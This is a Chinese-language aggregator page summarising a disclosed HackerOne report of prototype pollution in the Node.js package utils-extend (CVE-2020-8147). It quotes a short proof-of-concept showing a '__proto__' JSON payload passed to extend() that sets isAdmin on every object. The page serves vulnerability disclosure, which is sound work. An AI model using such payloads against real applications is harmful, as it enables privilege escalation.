POJIA破甲
地图 / [utils-extend] Prototype pollution

[utils-extend] Prototype pollution

业务逻辑 / Modification of Assumed-Immutable Data (MAID) / #801522

厂商
Node.js third-party modules
严重程度
高危 · CVSS 9.4
赏金
—
弱点
Modification of Assumed-Immutable Data (MAID)
研究员
@tuo4n8
披露日期
2020-04-02
资产
utils-extend
CVE
CVE-2020-8147

该报告还没有中文解读。

原文摘录

摘自原文(1437 字符中的一小部分)
> NOTE! Thanks for submitting a report! Please replace *all* the [square] sections below with the pertinent details. Remember, the more detail you provide, the easier it is for us to triage and respond quickly, so be sure to take your time filling out the report!
原文中的代码
const { extend } = require('utils-extend');
const payload = '{"__proto__":{"isAdmin":true}}'
const emptyObject = {}
const pollutionObject = JSON.parse(payload);
extend({}, pollutionObject)
console.log(emptyObject.isAdmin)  // true

默认不展示报告全文。以上为简短摘录,完整复现过程请阅读原文。版权归研究员与 Node.js third-party modules 所有。

时间线

  • 报告提交
  • 公开披露
阅读 HackerOne 原文 ↗作者 @tuo4n8 · 版权归作者与 Node.js third-party modules 所有

同类报告

Changing the 2FA secret key and backup codes without knowing the 2FA OTPHackerOne · 2021-05-06property-expr - Prototype pollutionNode.js third-party modules · 2020-09-24Editing Pentest Summary Report Answers After Submitting ThemHackerOne · 2021-05-06Prototype pollution via console.table propertiesNode.js · 2022-01-11Changes to data in a CVE request after draft via GraphQL queryHackerOne · 2020-05-15[nested-property] Prototype PollutionNode.js third-party modules · 2020-10-27